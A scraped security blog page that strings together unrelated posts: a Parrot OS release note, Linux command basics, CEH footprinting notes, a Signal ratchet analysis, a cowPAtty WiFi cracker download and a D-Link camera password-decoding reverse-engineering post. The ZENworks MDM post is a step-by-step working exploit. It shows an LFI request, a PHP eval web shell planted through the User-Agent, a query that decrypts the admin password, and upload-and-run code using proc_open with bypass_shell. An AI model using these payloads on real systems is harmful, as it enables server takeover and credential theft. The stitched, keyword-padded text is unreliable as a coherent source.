domingo, 26 de abril de 2020

Parrot Security OS 4.7 Released With New Linux Kernel, Menu Structure, Tools Improvements And Many Changes


In Sep 18 2019, Parrot Security OS 4.7 has released, with many new following changes below.

Latest Linux 5.2.x series
   The new ISO files of Parrot 4.7 are being released only now, but we were the first Debian derivative distribution to introduce Linux 5.1 and 5.2 to all our users, and now ParrotSec team is ready to offer it also with our ISO files rebild cycle to support more devices and integrate all the latest linux features from the beginning.

New sandbox behavior (opt-in rather than opt-out)
   Sandboxing is a great thing, and ParrotSec team was in the first line when they introduced our custom Firejail and AppArmor solution for the first time many years ago. We still want to improve such feature and ParrotSec team has a whole team dedicated to improve sandboxing and hardening of the Parrot Security OS system, but ParrotSec team had to face the many users with issues caused by the restrictions of our sandbox.

   In Parrot Security OS 4.7 the sandbox is disabled by default, and users can decide wether to start an application sandboxed or not. You can easily start the sandboxed version of an installed program from the /sandbox/ folder or from a dedicated menu that ParrotSec team plans to improve in the future (meanwhile the search feature of the bottom menu will fit all your needs), or you can re-enable it by default by using the firecfg tool.

New menu structure and tools improvements
   The pentesting menu structure was refactored and re-designed to make tools easier to access in a more logical hierarchical structure. New tools were also added to the project, and ParrotSec team plans to add even more in the future. Not all of them are going to be pre-installed, but a good set of tools in our repository enables pentesters to build up the perfect pentest system for their specific needs, regardless the default package selection picked by ParrotSec team.

Domain changes
   To reflect the neutrality of a distro that started as a pentest-only system and became more general purpose later with Parro Home, the community voted through a democratic process to switch to parrotlinux.org as the new default domain of the project.

   ParrotSec team will still use ParrotSec.org for other things (included the old email addresses), and they introduced other project domains to handle specific parts of the infrastructure.

Repository changes
   ParrotSec team is preparing to integrate a future LTS branch, so they decided to rename the current repository from stable to rolling. Nothing changes for the end user, and the current Parrot Security OS branch will continue to behave the same as before, but now with a different name to better reflect the rolling release nature of the system, waiting for the LTS edition to join the Parrot Security OS family along side the rolling branch in a similar way OpenSUSE does.

New MATE 1.22 release: Parrot Security OS 4.7 ships with the latest MATE 1.22 desktop environment.

Miscellaneous: New Firefox Browser 69, the latest Radare2 and cutter versions and many other important upgrades are all aboard as expected in a properly developed rolling release distro.

How to upgrade to the lastest Parrot Security OS version
   You can update your existing Parrot Security OS system with this command:
sudo parrot-upgrade

   Or use the raw apt command
sudo apt update
sudo apt full-upgrade


   Don't forget to use this command regularly (at least once a week) to receive the latest security updates and bugfixes from the Parrot Security OS repository.

   Or you can download the latest release from official download page.

Related news


Top System Related Commands In Linux With Descriptive Definitions


Commands are just like an instructions given to a system to do something and display an output for that instruction. So if you don't know how to gave an order to a system to do a task then how it can do while you don't know how to deal with. So commands are really important for Linux users. If you don't have any idea about commands of Linux and definitely you also don't know about the Linux terminal. You cannot explore Linux deeply. Because terminal is the brain of the Linux and you can do everything by using Linux terminal in any Linux distribution. So, if you wanna work over the Linux distro then you should know about the commands as well.
In this blog you will get a content about commands of Linux which are collectively related to the system. That means if you wanna know any kind of information about the system like operating system, kernel release information, reboot history, system host name, ip address of the host, current date and time and many more.

Note:

If you know about the command but you don't have any idea to use it. In this way you just type the command, then space and then type -h or --help or ? to get all the usage information about that particular command like "uname" this command is used for displaying the Linux system information. You don't know how to use it. Just type the command with help parameter like: uname -h or uname --help etc.

uname 

The "uname" is a Linux terminal command responsible of displaying the information about Linux system. This command has different parameter to display a particular part of information like kernel release (uname -r) or all the information displayed by typing only one command (uname -a).

uptime

This command is used to show how long the system has been running and how much load on it at current state of the CPU. This command is very useful when you system slows down or hang etc and you can easily get the info about the load on the CPU with the help of this command.

hostname

The "hostname" is the the command in Linux having different parameters to display the information bout the current host which is running the kernel at that time. If you wanna know about the parameters of hostname command then you just type hostname --help or hostname -h to get all the info about the command and the usage of the command.

last reboot

The "last reboot" is the command in Linux operating system used to display the reboot history. You just have to type this command over the Linux terminal it will display the reboot history of that Linux system.

date

The "date" is the command used in Linux operating system to show the date of the day along with the current time of the day.

cal

The "cal" command in Linux used to display the calendar which has the current date highlighted with a square box along with a current month dates and days just like a real calendar.

w

The "w" is the command used in Linux distro for the sake of getting the information about current user. If you type this command it will display who is online at the time.

whoami

The "whoami" is the command in Linux operating system used to show the information that who you are logged in as. For example if you are logged in as a root then it'll display "root" etc.

finger user

The "finger user" is the command used in Linux distribution to display the information about user which is online currently over that Linux system.

Related posts


viernes, 24 de abril de 2020

Novell Zenworks MDM: Mobile Device Management For The Masses

I'm pretty sure the reason Novell titled their Mobile Device Management (MDM, yo) under the 'Zenworks' group is because the developers of the product HAD to be in a state of meditation (sleeping) when they were writing the code you will see below.


For some reason the other night I ended up on the Vupen website and saw the following advisory on their page:
Novell ZENworks Mobile Management LFI Remote Code Execution (CVE-2013-1081) [BA+Code]
I took a quick look around and didn't see a public exploit anywhere so after discovering that Novell provides 60 day demos of products, I took a shot at figuring out the bug.
The actual CVE details are as follows:
"Directory traversal vulnerability in MDM.php in Novell ZENworks Mobile Management (ZMM) 2.6.1 and 2.7.0 allows remote attackers to include and execute arbitrary local files via the language parameter."
After setting up a VM (Zenworks MDM 2.6.0) and getting the product installed it looked pretty obvious right away ( 1 request?) where the bug may exist:
POST /DUSAP.php HTTP/1.1
Host: 192.168.20.133
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.20.133/index.php
Cookie: PHPSESSID=3v5ldq72nvdhsekb2f7gf31p84
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 74

username=&password=&domain=&language=res%2Flanguages%2FEnglish.php&submit=
Pulling up the source for the "DUSAP.php" script the following code path stuck out pretty bad:
<?php
session_start();

$UserName = $_REQUEST['username'];
$Domain = $_REQUEST['domain'];
$Password = $_REQUEST['password'];
$Language = $_REQUEST['language'];
$DeviceID = '';

if ($Language !== ''  &&  $Language != $_SESSION["language"])
{
     //check for validity
     if ((substr($Language, 0, 14) == 'res\\languages\\' || substr($Language, 0, 14) == 'res/languages/') && file_exists($Language))
     {
          $_SESSION["language"] = $Language;
     }
}

if (isset($_SESSION["language"]))
{
     require_once( $_SESSION["language"]);
} else
{
     require_once( 'res\languages\English.php' );
}

$_SESSION['$DeviceSAKey'] = mdm_AuthenticateUser($UserName, $Domain, $Password, $DeviceID);
In English:

  • Check if the "language" parameter is passed in on the request
  • If the "Language" variable is not empty and if the "language" session value is different from what has been provided, check its value
  • The "validation" routine checks that the "Language" variable starts with "res\languages\" or "res/languages/" and then if the file actually exists in the system
  • If the user has provided a value that meets the above criteria, the session variable "language" is set to the user provided value
  • If the session variable "language" is set, include it into the page
  • Authenticate

So it is possible to include any file from the system as long as the provided path starts with "res/languages" and the file exists. To start off it looked like maybe the IIS log files could be a possible candidate to include, but they are not readable by the user everything is executing under…bummer. The next spot I started looking for was if there was any other session data that could be controlled to include PHP. Example session file at this point looks like this:
$error|s:12:"Login Failed";language|s:25:"res/languages/English.php";$DeviceSAKey|i:0;
The "$error" value is server controlled, the "language" has to be a valid file on the system (cant stuff PHP in it), and "$DeviceSAKey" appears to be related to authentication. Next step I started searching through the code for spots where the "$_SESSION" is manipulated hoping to find some session variables that get set outside of logging in. I ran the following to get a better idea of places to start looking:
egrep -R '\$_SESSION\[.*\] =' ./
This pulled up a ton of results, including the following:
 /desktop/download.php:$_SESSION['user_agent'] = $_SERVER['HTTP_USER_AGENT'];
 Taking a look at the "download.php" file the following was observed:

<?php
session_start();
if (isset($_SESSION["language"]))
{
     require_once( $_SESSION["language"]);
} else
{
     require_once( 'res\languages\English.php' );
}
$filedata = $_SESSION['filedata'];
$filename = $_SESSION['filename'];
$usersakey = $_SESSION['UserSAKey'];

$_SESSION['user_agent'] = $_SERVER['HTTP_USER_AGENT'];
$active_user_agent = strtolower($_SESSION['user_agent']);

$ext = substr(strrchr($filename, '.'), 1);

if (isset($_SESSION['$DeviceSAKey']) && $_SESSION['$DeviceSAKey']  > 0)
{

} else
{
     $_SESSION['$error'] = LOGIN_FAILED_TEXT;
     header('Location: index.php');

}
The first highlighted part sets a new session variable "user_agent" to whatever our browser is sending, good so far.... The next highlighted section checks our session for "DeviceSAKey" which is used to check that the requester is authenticated in the system, in this case we are not so this fails and we are redirected to the login page ("index.php"). Because the server stores our session value before checking authentication (whoops) we can use this to store our payload to be included :)


This will create a session file named "sess_payload" that we can include, the file contains the following:
 user_agent|s:34:"<?php echo(eval($_GET['cmd'])); ?>";$error|s:12:"Login Failed";
 Now, I'm sure if you are paying attention you'd say "wait, why don't you just use exec/passthru/system", well the application installs and configures IIS to use a "guest" account for executing everything – no execute permissions for system stuff (cmd.exe,etc) :(. It is possible to get around this and gain system execution, but I decided to first see what other options are available. Looking at the database, the administrator credentials are "encrypted", but I kept seeing a function being used in PHP when trying to figure out how they were "encrypted": mdm_DecryptData(). No password or anything is provided when calling the fuction, so it can be assumed it is magic:
return mdm_DecryptData($result[0]['Password']); 
Ends up it is magic – so I sent the following PHP to be executed on the server -
$pass=mdm_ExecuteSQLQuery("SELECT Password FROM Administrators where AdministratorSAKey = 1",array(),false,-1,"","","",QUERY_TYPE_SELECT);
echo $pass[0]["UserName"].":".mdm_DecryptData($pass[0]["Password"]);
 


Now that the password is available, you can log into the admin panel and do wonderful things like deploy policy to mobile devices (CA + proxy settings :)), wipe devices, pull text messages, etc….

This functionality has been wrapped up into a metasploit module that is available on github:

Next up is bypassing the fact we cannot use "exec/system/passthru/etc" to execute system commands. The issue is that all of these commands try and execute whatever is sent via the system "shell", in this case "cmd.exe" which we do not have rights to execute. Lucky for us PHP provides "proc_open", specifically the fact "proc_open" allows us to set the "bypass_shell" option. So knowing this we need to figure out how to get an executable on the server and where we can put it. The where part is easy, the PHP process user has to be able to write to the PHP "temp" directory to write session files, so that is obvious. There are plenty of ways to get a file on the server using PHP, but I chose to use "php://input" with the executable base64'd in the POST body:
$wdir=getcwd()."\..\..\php\\\\temp\\\\";
file_put_contents($wdir."cmd.exe",base64_decode(file_get_contents("php://input")));
This bit of PHP will read the HTTP post's body (php://input) , base64 decode its contents, and write it to a file in a location we have specified. This location is relative to where we are executing so it should work no matter what directory the product is installed to.


After we have uploaded the file we can then carry out another request to execute what has been uploaded:
$wdir=getcwd()."\..\..\php\\\\temp\\\\";
$cmd=$wdir."cmd.exe";
$output=array();
$handle=proc_open($cmd,array(1=>array("pipe","w")),$pipes,null,null,array("bypass_shell"=>true));
if(is_resource($handle))
{
     $output=explode("\\n",+stream_get_contents($pipes[1]));
     fclose($pipes[1]);
     proc_close($handle);
}
foreach($output+as &$temp){echo+$temp."\\r\\n";};
The key here is the "bypass_shell" option that is passed to "proc_open". Since all files that are created by the process user in the PHP "temp" directory are created with "all of the things" permissions, we can point "proc_open" at the file we have uploaded and it will run :)

This process was then rolled up into a metasploit module which is available here:


Update: Metasploit modules are now available as part of metasploit.

Read more
  1. Hacking 2018
  2. Hacking For Dummies
  3. Hacking Attacks
  4. Hacking Web Sql Injection Pdf
  5. Hacking Aves

miércoles, 22 de abril de 2020

DOWNLOAD COWPATTY WIFI PASSOWORD CRACKING TOOL

COWPATTY WIFI PASSWORD CRACKING TOOL

CoWPAtty is a wifi password cracking tool. Implementation of a dictionary attack against WPA/WPA2 networks using PSK-based authentication (e.g. WPA-Personal). Many enterprise networks deploy PSK-based authentication mechanisms for WPA/WPA2 since it is much easier than establishing the necessary RADIUS, supplicant and certificate authority architecture needed for WPA-Enterprise authentication. Cowpatty can implement an accelerated attack if a precomputed PMK file is available for the SSID that is being assessed. Download coWPAtty wifi password cracking tool.
It's a pre-built tool for Kali Linux which you can find in the /usr/local/bin directory. It's also available for the windows but it doesn't work as fine as it does in the Kali.

DOWNLOAD COWPATTY WIFI PASSWORD CRACKING TOOL

For windows, you can download it from here. As it becomes pre-built in Kali, you do not need to download it. You just have to follow the path /usr/local/bin directory to find it in your Kali Linux OS.

Related word


  1. Computer Hacking
  2. Que Estudiar Para Ser Hacker
  3. Bluetooth Hacking
  4. Hacking Games Online
  5. Programas Para Hackear
  6. Pagina Hacker
  7. Curso De Ciberseguridad Y Hacking Ético
  8. Hacking Team
  9. Hacking Linkedin
  10. Cracker Informatico

CEH Practical: Information-Gathering Methodology

 

Information gathering can be broken into seven logical steps. Footprinting is performed during the first two steps of unearthing initial information and locating the network range.


Footprinting

Footprinting is defined as the process of establishing a scenario or creating a map of an organization's network and systems. Information gathering is also known as footprinting an organization. Footprinting is an important part of reconnaissance process which is typically used for collecting possible information about a targeted computer system or network. Active and Passive both could be Footprinting. The example of passive footprinting is assessment of a company's website, whereas attempting to gain access to sensitive information through social engineering is an example of active information gathering. Basically footprinting is the beginning step of hacker to get hacked someone because having information about targeted computer system is the main aspect of hacking. If you have an information about individual you wanna hack so you can easily hacked that individual. The basic purpose of information gathering is at least decide what type of attacks will be more suitable for the target. Here are some of the pieces of information to be gathered about a target
during footprinting:
  • Domain name
  • Network blocks
  • Network services and applications
  • System architecture
  • Intrusion detection system
  • Authentication mechanisms
  • Specific IP addresses
  • Access control mechanisms
  • Phone numbers
  • Contact addresses
Once this information is assemble, it can give a hacker better perception into the organization, where important information is stored, and how it can be accessed.

Footprinting Tools 

Footprinting can be done using hacking tools, either applications or websites, which allow the hacker to locate information passively. By using these footprinting tools, a hacker can gain some basic information on, or "footprint," the target. By first footprinting the target, a hacker can eliminate tools that will not work against the target systems or network. For example, if a graphics design firm uses all Macintosh computers, then all hacking software that targets Windows systems can be eliminated. Footprinting not only speeds up the hacking process by eliminating certain tool sets but also minimizes the chance of detection as fewer hacking attempts can be made by using the right tool for the job. Some of the common tools used for footprinting and information gathering are as follows:
  • Domain name lookup
  • Whois
  • NSlookup
  • Sam Spade
Before we discuss these tools, keep in mind that open source information can also yield a wealth of information about a target, such as phone numbers and addresses. Performing Whois requests, searching domain name system (DNS) tables, and using other lookup web tools are forms of open source footprinting. Most of this information is fairly easy to get and legal to obtain.

Footprinting a Target 

Footprinting is part of the preparatory pre-attack phase and involves accumulating data regarding a target's environment and architecture, usually for the purpose of finding ways to intrude into that environment. Footprinting can reveal system vulnerabilities and identify the ease with which they can be exploited. This is the easiest way for hackers to gather information about computer systems and the companies they belong to. The purpose of this preparatory phase is to learn as much as you can about a system, its remote access capabilities, its ports and services, and any specific aspects of its security.

DNS Enumeration

DNS enumeration is the process of locating all the DNS servers and their corresponding records for an organization. A company may have both internal and external DNS servers that can yield information such as usernames, computer names, and IP addresses of potential target systems.

NSlookup and DNSstuff

One powerful tool you should be familiar with is NSlookup (see Figure 2.2). This tool queries DNS servers for record information. It's included in Unix, Linux, and Windows operating systems. Hacking tools such as Sam Spade also include NSlookup tools. Building on the information gathered from Whois, you can use NSlookup to find additional IP addresses for servers and other hosts. Using the authoritative name server information from Whois ( AUTH1.NS.NYI.NET ), you can discover the IP address of the mail server.

Syntax

nslookup www.sitename.com
nslookup www.usociety4.com
Performing DNS Lookup
This search reveals all the alias records for www.google.com and the IP address of the web server. You can even discover all the name servers and associated IP addresses.

Understanding Whois and ARIN Lookups

Whois evolved from the Unix operating system, but it can now be found in many operating systems as well as in hacking toolkits and on the Internet. This tool identifies who has registered domain names used for email or websites. A uniform resource locator (URL), such as www.Microsoft.com , contains the domain name ( Microsoft.com ) and a hostname or alias ( www ).
The Internet Corporation for Assigned Names and Numbers (ICANN) requires registration of domain names to ensure that only a single company uses a specific domain name. The Whois tool queries the registration database to retrieve contact information about the individual or organization that holds a domain registration.

Using Whois

  • Go to the DNSStuff.com website and scroll down to the free tools at the bottom of the page.
  • Enter your target company URL in the WHOIS Lookup field and click the WHOIS button.
  • Examine the results and determine the following:
    • Registered address
    • Technical and DNS contacts
    • Contact email
    • Contact phone number
    • Expiration date
  • Visit the company website and see if the contact information from WHOIS matches up to any contact names, addresses, and email addresses listed on the website.
  • If so, use Google to search on the employee names or email addresses. You can learn the email naming convention used by the organization, and whether there is any information that should not be publicly available.

Syntax

whois sitename.com
whois usociety4.com

Related links


Why Receipt Notifications Increase Security In Signal

This blog post is aimed to express and explain my surprise about Signal being more secure than I thought (due to receipt acknowledgments). I hope you find it interesting, too.

Signal, and especially its state update protocol, the Double Ratchet algorithm, are widely known for significantly increasing security for instant messaging. While most users first see the end-to-end security induced by employing Signal in messaging apps, the properties achieved due to ratcheting go far beyond protecting communication against (active) attackers on the wire. Due to updating the local device secrets via the Double Ratchet algorithm, the protocol ensures that attackers, who temporarily obtain a device's local storage (on which Signal runs), only compromise confidentiality of parts of the communications with this device. Thus, the leakage of local secrets from a device only affects security of a short frame of communication. The exact duration of compromise depends on the messaging pattern among the communicating parties (i.e., who sends and receives when), as the state update is conducted during the sending and receiving of payload messages.


The Double Ratchet

The Double Ratchet algorithm consists of two different update mechanisms: the symmetric ratchet and the asymmetric ratchet. The former updates symmetric key material by hashing and then overwriting it with the hash output (i.e.,  k:=H(k)). Thus, an attacker, obtaining key material can only predict future versions of the state but, due to the one-wayness of the hash function, cannot recover past states. The asymmetric ratchet consists of Diffie-Hellman key exchanges (DHKE). If, during the communication, party A receives a new DH share gb as part of a message from the communication partner B, then A samples a new DH exponent a and responds with the respective DH share ga in the next sent message. On receipt of this DH share, B will again sample a new DH exponent b' and attach the DH share gb' to the next message to A. With every new DH share, a new DHKE gab is computed among A and B and mixed into the key material (i.e., k:=H(k,gab)). For clarity, I leave out a lot of details and accuracy. As new DH shares ga and gb are generated from randomly sampled DH exponents a and b, and the computation of gab is hard if neither a nor b are known, the key material recovers from an exposure of the local secrets to an attacker after a new value gab was freshly established and mixed into it. Summing up this mechanism, if an attacker obtains the local state of a Signal client, then this attacker cannot recover any previously received message (if the message itself was not contained in the local state), nor can it read messages that are sent after a new gab was established and mixed into the state. The latter case happens with every full round-trip among A and B (i.e., A receives from B, A sends to B, and A receives again from B).
Conceptual depiction of Double Ratchet in Signal two years ago (acknowledgments were only protected between client and server). The asymmetric ratchet fully updates the local secrets after one round-trip of payload messages.

Research on Ratcheting

During the last two years, the Signal protocol inspired the academic research community: First, a formal security proof of Signal was conducted [1] and then ratcheting was formalized as a generic primitive (independent of Signal) [2,3,4]. This formalization includes security definitions that are derived via 1. defining an attacker, 2. requiring security unless it is obvious that security cannot be reached. Protocols, meeting this optimal notion of security, were less performant than the Double Ratchet algorithm [3,4]. However, it became evident that the Double Ratchet algorithm is not as secure as it could be (e.g., recovery from exposure could be achieved quicker than after a full round-trip; see, e.g., Appendix G of our paper [3]). Afterwards, protocols (for slightly weakened security notions) were proposed that are similarly performant as Signal but also a bit more secure [5,6,7].

Protecting Acknowledgments ...

In our analysis of instant messaging group chats [8] two years ago (blog posts: [9,10]), we found out that none of the group chat protocols (Signal, WhatsApp, Threema) actually achieves real recovery from an exposure (thus the asymmetric ratchet is not really effective in groups; a good motivation for the MLS project) and that receipt acknowledgments were not integrity protected in Signal nor WhatsApp. The latter issue allowed an attacker to drop payload messages in transmission and forge receipt acknowledgments to the sender such that the sender falsely thinks the message was received. Signal quickly reacted on our report by treating acknowledgments as normal payload messages: they are now authenticated(-encrypted) using the Double Ratchet algorithm.

... Supports Asymmetric Ratchet

Two years after our analysis, I recently looked into the Signal code again. For a training on ratcheting I wanted to create an exercise for which the lines in the code should be found that execute the symmetric and the asymmetric ratchet respectively. Somehow I observed that the pure symmetric ratchet (only updates via hash functions) was nearly never executed (especially not when I expected it) when lively debugging the app but almost always new DH shares were sent or received. I realized that, due to encrypting the receipt acknowledgments now, the app always conducts full round-trips with every payload message. In order to observe the symmetric ratchet, I needed to temporarily turn on the flight mode on my phone such that acknowledgments are not immediately returned.
Conceptual depiction of Double Ratchet in Signal now (acknowledgments encrypted). The asymmetric ratchet fully updates the local secrets after an acknowledgment for a message is received.

Consequently, Signal conducts a full DHKE on every sent payload message (in case the receiving device is not offline) and mixes the result into the state. However, a new DH exponent is always already sampled on the previous receipt (see sketch of protocol above). Thus, the exponent for computing a DHKE maybe remained in the local device state for a while. In order to fully update the state's key material, two round-trips must be initiated by sending two payload messages and receiving the resulting two acknowledgments. Please note that not only the mandatory receipt acknowledgments are encrypted but also notifications on typing and reading a message.

If you didn't understand exactly what that means, here a tl;dr: If an attacker obtains your local device state, then with Signal all previous messages stay secure and (if the attacker does not immediately use these secrets to actively manipulate future conversations) all future messages are secure after you wrote two messages (and received receipt acknowledgments) in all of your conversations. Even though this is very (in practice certainly sufficiently) secure, recent protocols provide stronger security (as mentioned above) and it remains an interesting research goal to increase their performance.

[1] https://eprint.iacr.org/2016/1013.pdf
[2] https://eprint.iacr.org/2016/1028.pdf
[3] https://eprint.iacr.org/2018/296.pdf
[4] https://eprint.iacr.org/2018/553.pdf
[5] https://eprint.iacr.org/2018/889.pdf
[6] https://eprint.iacr.org/2018/954.pdf
[7] https://eprint.iacr.org/2018/1037.pdf
[8] https://eprint.iacr.org/2017/713.pdf
[9] https://web-in-security.blogspot.com/2017/07/insecurities-of-whatsapps-signals-and.html
[10] https://web-in-security.blogspot.com/2018/01/group-instant-messaging-why-baming.html
More articles
  1. Hacking Web Sql Injection Pdf
  2. Hacking Gif
  3. Quiero Ser Hacker
  4. 101 Hacking
  5. Hacker Definicion
  6. Escuela De Hacking
  7. Hacking Music
  8. Hacking Articles
  9. Blog Seguridad Informática
  10. Blog Seguridad Informática
  11. Manual Del Hacker

Open Sesame (Dlink - CVE-2012-4046)

A couple weeks ago a vulnerability was posted for the dlink DCS-9xx series of cameras. The author of the disclosure found that the setup application that comes with the camera is able to send a specifically crafted request to a camera on the same network and receive its password in plaintext. I figured this was a good chance to do some analysis and figure out exactly how the application carried out this functionality and possibly create a script to pull the password out of a camera.

The basic functionality of the application is as follows:

  • Application sends out a UDP broadcast on port 5978
  • Camera sees the broadcast on port 5978 and inspects the payload – if it sees that the initial part of the payload contains "FF FF FF FF FF FF" it responds (UDP broadcast port 5978) with an encoded payload with its own MAC address
  • Application retrieves the camera's response and creates another UDP broadcast but this time it sets the payload to contain the target camera's MAC address, this encoded value contains the command to send over the password
  • Camera sees the broadcast on port 5978 and checks that it is meant for it by inspecting the MAC address that has been specified in the payload, it responds with an encoded payload that contains its password (base64 encoded)

After spending some time with the application in a debugger I found what looked like it was responsible for the decoding of the encoded values that are passed:


super exciting screen shot.
After spending some time documenting the functionality I came up with the following notes (messy wall of text):

CommandComments
.JGE SHORT 0A729D36; stage1
./MOV EDX,DWORD PTR SS:[LOCAL.2]; set EDX to our 1st stage half decoded buffer
.|MOV ECX,DWORD PTR SS:[LOCAL.4]; set ECX to our current count/offset
.|MOV EAX,DWORD PTR SS:[LOCAL.3]; set EAX to our base64 encoded payload
.|MOVSX EAX,BYTE PTR DS:[EAX]; set EAX to the current value in our base64 payload
.|MOV AL,BYTE PTR DS:[EAX+0A841934]; set EAX/AL to a hardcoded offset of its value table is at 0a841934
.|MOV BYTE PTR DS:[ECX+EDX],AL; ECX = Offset, EDX = start of our half-decoded buffer, write our current byte there
.|INC DWORD PTR SS:[LOCAL.4]; increment our offset/count
.|INC DWORD PTR SS:[LOCAL.3]; increment our base64 buffer to next value
.|MOV EDX,DWORD PTR SS:[LOCAL.4]; set EDX to our counter
.|CMP EDX,DWORD PTR SS:[ARG.2]; compare EDX (counter) to our total size
.\JL SHORT 0A729D13; jump back if we have not finished half decoding our input value
.MOV ECX,DWORD PTR SS:[ARG.3]; Looks like this will point at our decoded buffer
.MOV DWORD PTR SS:[LOCAL.5],ECX; set Arg5 to our decoded destination
.MOV EAX,DWORD PTR SS:[LOCAL.2]; set EAX to our half-decoded buffer
.MOV DWORD PTR SS:[LOCAL.3],EAX; set arg3 to point at our half-decoded buffer
.MOV EDX,DWORD PTR SS:[ARG.4]; ???? 1500 decimal
.XOR ECX,ECX; clear ECX
.MOV DWORD PTR DS:[EDX],ECX; clear out arg4 value
.XOR EAX,EAX; clear out EAX
.MOV DWORD PTR SS:[LOCAL.6],EAX; clear out local.6
.JMP SHORT 0A729DAE; JUMP
./MOV EDX,DWORD PTR SS:[LOCAL.3]; move our current half-decoded dword position into EDX
.|MOV CL,BYTE PTR DS:[EDX]; move our current byte into ECX (CL) (dword[0])
.|SHL ECX,2; shift left 2 dword[0]
.|MOV EAX,DWORD PTR SS:[LOCAL.3]; move our current dword position into EAX
.|MOVSX EDX,BYTE PTR DS:[EAX+1]; move our current dword position + 1 (dword[1]) into EDX
.|SAR EDX,4; shift right 4 dword[1]
.|ADD CL,DL; add (shift left 2 dword[0]) + (shift right 4 dword[1])
.|MOV EAX,DWORD PTR SS:[LOCAL.5]; set EAX to our current decoded buffer position
.|MOV BYTE PTR DS:[EAX],CL; write our decoded (dword[0]) value to or decoded buffer
.|INC DWORD PTR SS:[LOCAL.5]; increment our position in the decoded buffer
.|MOV EDX,DWORD PTR SS:[LOCAL.3]; set EDX to our current dword position
.|MOV CL,BYTE PTR DS:[EDX+1]; set ECX to dword[1]
.|SHL ECX,4; left shift 4 dword[1]
.|MOV EAX,DWORD PTR SS:[LOCAL.3]; set EAX to our current dword position
.|MOVSX EDX,BYTE PTR DS:[EAX+2]; set EDX to dword[2]
.|SAR EDX,2; shift right 2 dword[2]
.|ADD CL,DL; add (left shift 4 dword[1]) + (right shift 2 dword[2])
.|MOV EAX,DWORD PTR SS:[LOCAL.5]; set EAX to our next spot in the decoded buffer
.|MOV BYTE PTR DS:[EAX],CL; write our decoded value into our decoded buffer
.|INC DWORD PTR SS:[LOCAL.5]; move to the next spot in our decoded buffer
.|MOV EDX,DWORD PTR SS:[LOCAL.3]; set EDX to our current half-decoded dword
.|MOV CL,BYTE PTR DS:[EDX+2]; set ECX dword[2]
.|SHL ECX,6; shift left 6 dword[2]
.|MOV EAX,DWORD PTR SS:[LOCAL.3]; set EAX to our current half-decoded dword
.|ADD CL,BYTE PTR DS:[EAX+3]; add dword[2] + dword[3]
.|MOV EDX,DWORD PTR SS:[LOCAL.5]; set EDX to point at our next spot in our decoded buffer
.|MOV BYTE PTR DS:[EDX],CL; write our decoded byte to our decoded buffer
.|INC DWORD PTR SS:[LOCAL.5]; move to the next spot in our decoded buffer
.|ADD DWORD PTR SS:[LOCAL.3],4; increment our encoded buffer to point at our next dword
.|MOV ECX,DWORD PTR SS:[ARG.4]; set ECX to our current offset?
.|ADD DWORD PTR DS:[ECX],3; add 3 to our current offset?
.|ADD DWORD PTR SS:[LOCAL.6],4; add 4 to our byte counter??
.|MOV EAX,DWORD PTR SS:[ARG.2]; move total size into EAX
.|ADD EAX,-4; subtract 4 from total size
.|CMP EAX,DWORD PTR SS:[LOCAL.6]; compare our total bytes to read bytes
.\JG SHORT 0A729D50; jump back if we are not done
.MOV EDX,DWORD PTR SS:[LOCAL.3]; set EDX to our last DWORD of encoded buffer
.MOVSX ECX,BYTE PTR DS:[EDX+3]; set ECX to dword[3] last byte of our half-decoded dword (dword + 3)
.INC ECX; increment the value of dword[3]
.JE SHORT 0A729E1E
.MOV EAX,DWORD PTR SS:[LOCAL.3]; set EAX to our current half-decoded dword
.MOV DL,BYTE PTR DS:[EAX]; set EDX (DL) to dword[0]
.SHL EDX,2; shift left 2 dword[0]
.MOV ECX,DWORD PTR SS:[LOCAL.3]; set ECX to our current encoded dword position
.MOVSX EAX,BYTE PTR DS:[ECX+1]; set EAX to dword[1]
.SAR EAX,4; shift right 4 dword[1]
.ADD DL,AL; add (shifted left 2 dword[0]) + (shifted right 4 dword[1])
.MOV ECX,DWORD PTR SS:[LOCAL.5]; set ECX to point at our next spot in our decoded buffer
.MOV BYTE PTR DS:[ECX],DL; write our decoded value (EDX/DL) to our decoded buffer
.INC DWORD PTR SS:[LOCAL.5]; move to the next spot in our decoded buffer
.MOV EDX,DWORD PTR SS:[LOCAL.3]; set EDX to point at our dword
.MOV AL,BYTE PTR DS:[EDX+1]; set EAX/AL to dword[1]
.SHL EAX,4; shift left 4 dword[1]
.MOV EDX,DWORD PTR SS:[LOCAL.3]; set EDX to our current dword
.MOVSX ECX,BYTE PTR DS:[EDX+2]; set ECX to dword[2]
.SAR ECX,2; shift right 2 dword[2]
.ADD AL,CL; add (shifted left 4 dword[1]) + (shifted right 2 dword[2])
.MOV EDX,DWORD PTR SS:[LOCAL.5]; set EDX to point at our current spot in our decoded buffer
.MOV BYTE PTR DS:[EDX],AL; write our decoded value to the decoded buffer
.INC DWORD PTR SS:[LOCAL.5]; move to the next spot in our decoded buffer
.MOV EAX,DWORD PTR SS:[LOCAL.3]; set EAX to point at our current dword
.MOV CL,BYTE PTR DS:[EAX+2]; set ECX/CL to dword[2]
.SHL ECX,6; shift left 6 dword[2]
.MOV EAX,DWORD PTR SS:[LOCAL.3]; point EAX at our current dword
.ADD CL,BYTE PTR DS:[EAX+3]; add dword[3] + (shifted left 6 dword[2])
.MOV EDX,DWORD PTR SS:[LOCAL.5]; point EDX at our current decoded buffer
.MOV BYTE PTR DS:[EDX],CL; write our decoded value to the decoded buffer
.INC DWORD PTR SS:[LOCAL.5]; increment our deocded buffer
.MOV ECX,DWORD PTR SS:[ARG.4]; set ECX to our current offset?
.ADD DWORD PTR DS:[ECX],3; add 4 for our current byte counter?
.JMP 0A729EA6; jump

Translated into english: the application first uses a lookup table to translate every byte in the input string, to do this it uses the value of the current byte as an offset into the table.  After it is done with "stage1" it traverses the translated input buffer a dword at a time and does some bit shifting and addition to fully decode the value. The following roughly shows the "stage2" routine:
(Dword[0] << 2) + (Dword[1] >> 4) = unencoded byte 1 
(Dword[1] << 4) + (Dword[2] >> 2) = unencoded byte 2 
(Dword[2] << 6) + Dword[3] = unencoded byte 3

